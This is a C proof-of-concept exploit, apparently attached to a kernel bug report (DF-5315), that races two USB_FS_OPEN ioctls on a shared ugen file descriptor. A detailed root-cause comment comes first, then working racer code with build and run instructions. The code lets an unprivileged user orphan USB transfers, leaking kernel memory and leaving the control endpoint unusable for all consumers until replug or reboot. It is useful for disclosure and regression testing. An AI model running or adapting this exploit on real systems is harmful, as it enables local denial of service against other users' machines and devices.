DF-5315 / df5315.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 | /* * DF-5315 -- USB_FS_OPEN x USB_FS_OPEN double-entry on a shared ugen fd: * orphaned usb_xfer root block (permanent kernel memory leak) + * endpoint refcount_alloc exhaustion (endpoint permanently unusable by * every consumer, kernel drivers included). * * Root cause (sys/bus/u4b/usb_generic.c): * USB_FS_OPEN checks "f->fs_xfer[ep_index] != NULL -> EBUSY" with NO * lock [usb_generic.c:1462], then calls usbd_transfer_setup() which * (a) can sleep for a long time (usbd_enum_lock [usb_transfer.c:942], * kmalloc M_WAITOK [usb_transfer.c:1220], DMA setup), and * (b) FIRST NULLs the target slot at entry -- "ppxfer[n] = NULL" * [usb_transfer.c:935, no lock] -- and only stores the finished * xfer pointer at the very end [usb_transfer.c:1138]. * Two threads that both pass the EBUSY check before the first store * both run a full setup for the same slot; the second entry NULLs / * overwrites the first one's pointer, so usbd_transfer_unsetup() never * sees xfer #1 again: * - its endpoint->refcount_alloc (usb_transfer.c:1121) is never * decremented (unsetup does that at usb_transfer.c:1421) -> * after USB_EP_REF_MAX==0x3F orphans the endpoint rejects every * further usbd_transfer_setup (usb_transfer.c:1118-1119); * - its memory block (root + xfer + DMA pages, usb_transfer.c:1220) * is never freed -> unbounded M_USB growth. * * This is the ioctl-side sibling of DF-5287 (which races read()/write() * through ugen_transfer_setup on f->xfer[]): different entry, different * array (f->fs_xfer), same orphan mechanism. * * Round structure (3 barriers): both threads OPEN simultaneously (the * race), then a single serialized CLOSE frees the surviving xfer, so * the only persistent effect of each double-win is the orphan. * * Build: cc -O -Wall -o df5315 df5315.c -pthread * Run: ./df5315 [seconds] (unprivileged, rw on /dev/usb/0.2.0) * Success: after full cleanup (CLOSE+UNINIT+re-INIT), a fresh * USB_FS_OPEN fails with ENOMEM forever: refcount_alloc pinned at * USB_EP_REF_MAX by the orphans. Also compare `vmstat -m` before/after. */ #include <sys/types.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bus/u4b/usb.h> #include <bus/u4b/usb_ioctl.h> #ifndef DEV #define DEV "/dev/usb/0.2.0" #endif static int fd; static pthread_barrier_t b_open, b_close, b_done; static volatile int stop; static volatile int wins[2]; static struct usb_fs_endpoint eps[4]; static void fs_init(void) { struct usb_fs_init ini; memset(&ini, 0, sizeof(ini)); ini.pEndpoints = eps; ini.ep_index_max = 4; if (ioctl(fd, USB_FS_INIT, &ini) < 0) err(1, "USB_FS_INIT"); } static int fs_open(void) { struct usb_fs_open op; memset(&op, 0, sizeof(op)); op.ep_index = 0; op.ep_no = 0x00; /* control endpoint */ op.max_bufsize = 256; op.max_frames = 4; return (ioctl(fd, USB_FS_OPEN, &op)); } static void * racer(void *arg) { int id = *(int *)arg; struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = 0; while (1) { pthread_barrier_wait(&b_open); /* arm: both fire OPEN */ if (stop) break; if (fs_open() == 0) wins[id]++; pthread_barrier_wait(&b_close); /* both OPENs returned */ if (id == 0) { /* single serialized closer */ ioctl(fd, USB_FS_CLOSE, &cl); } pthread_barrier_wait(&b_done); /* round complete */ } return (NULL); } int main(int argc, char *argv[]) { pthread_t t0, t1; struct usb_fs_uninit un; struct usb_fs_open probe; int secs = argc > 1 ? atoi(argv[1]) : 20; int i, id0 = 0, id1 = 1, r; memset(&un, 0, sizeof(un)); fd = open(DEV, O_RDWR); if (fd < 0) err(1, "open %s", DEV); fs_init(); if (pthread_barrier_init(&b_open, NULL, 2) != 0 || pthread_barrier_init(&b_close, NULL, 2) != 0 || pthread_barrier_init(&b_done, NULL, 2) != 0) err(1, "pthread_barrier_init"); if (pthread_create(&t0, NULL, racer, &id0) != 0 || pthread_create(&t1, NULL, racer, &id1) != 0) err(1, "pthread_create"); for (i = 0; i < secs; i++) { sleep(1); printf("[*] t+%2ds: successful opens: %d + %d\n", i + 1, wins[0], wins[1]); fflush(stdout); } stop = 1; pthread_join(t0, NULL); pthread_join(t1, NULL); printf("[+] race done: successful opens: %d + %d\n", wins[0], wins[1]); /* full cleanup of everything user-visible */ for (i = 0; i < 4; i++) { struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = i; ioctl(fd, USB_FS_CLOSE, &cl); } if (ioctl(fd, USB_FS_UNINIT, &un) != 0) printf("[!] USB_FS_UNINIT: %s\n", strerror(errno)); /* fresh fs state */ fs_init(); memset(&probe, 0, sizeof(probe)); probe.ep_index = 0; probe.ep_no = 0x00; probe.max_bufsize = 256; probe.max_frames = 4; r = ioctl(fd, USB_FS_OPEN, &probe); if (r == 0) { printf("POST-CLEANUP OPEN SUCCEEDED (endpoint not exhausted " "yet -- run longer / check vmstat -m for M_USB growth)\n"); return (1); } printf("POST-CLEANUP USB_FS_OPEN FAILED: %s\n", strerror(errno)); printf("=> control-endpoint refcount_alloc exhausted by orphaned " "xfers (USB_EP_REF_MAX=0x3f): endpoint dead for ALL consumers " "until replug/reboot\n"); return (0); } |